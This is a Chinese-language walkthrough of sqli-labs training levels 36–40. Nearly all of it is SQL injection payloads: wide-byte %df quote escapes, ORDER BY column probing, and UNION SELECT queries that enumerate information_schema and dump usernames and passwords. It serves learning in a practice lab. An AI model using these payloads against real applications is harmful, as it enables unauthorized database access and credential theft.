sql-labs靶场36-40关

三十六.less=36

1.使用?id=1/进行测试

2.猜测字段

?id=1%df' order by 4--+

3.没第四列，我们看一下第三列

?id=1%df' order by 3--+

4.爆破表名

?id=-1%df' union select  1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

5.爆出列名

?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x656D61696C73--+

6.爆破数据

?id=-1%df' union select 1,group_concat(id,username,0x3a,password),3 from users--+

三十七.less=37

1.先抓包，然后猜测字段

uname=1%df' order by 3#&passwd=1&submit=Submit

2.查看表名

uname=-1%df' union select  1,group_concat(table_name) from information_schema.tables where table_schema=database()#&passwd=1&submit=Submit
 

3.爆破列名

uname=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x656D61696C73#&passwd=1&submit=Submit

4.爆破数据

uname=-1%df' union select 1,group_concat(id,0x3a,email_id) from emails#&passwd=1&submit=Submit

三十八.less=38

1.单引号闭合-1' union select 1,2,3--+

2.查询数据库名称

-1' union select 1,2,database()--+

3.查询表名

-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+

4.查询列名

-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') --+

5.查询数据

-1' union select 1,2,(select group_concat(username,'~',password) from security.users) --+

三十九.less=38

1.测试?id=-1 union select 1,2,3--+

2.查询数据库名称

?id=-1 union select 1,2,database()--+

3.查看表名

?id=-1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') --+

4.查看列名

?id=-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') --+

5.查询数据

?id=-1 union select 1,2,(select group_concat(username,'~',password) from security.users)--+

四十.less=40

1.

?id=-1') union select 1,2,3--+单引号加括号闭合

2.查询数据库名称

?id=-1') union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database())--+

3.查询列名

?id=-1') union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') --+

4.查询数据

?id=-1') union select 1,2,(select group_concat(username,'~',password) from security.users)--+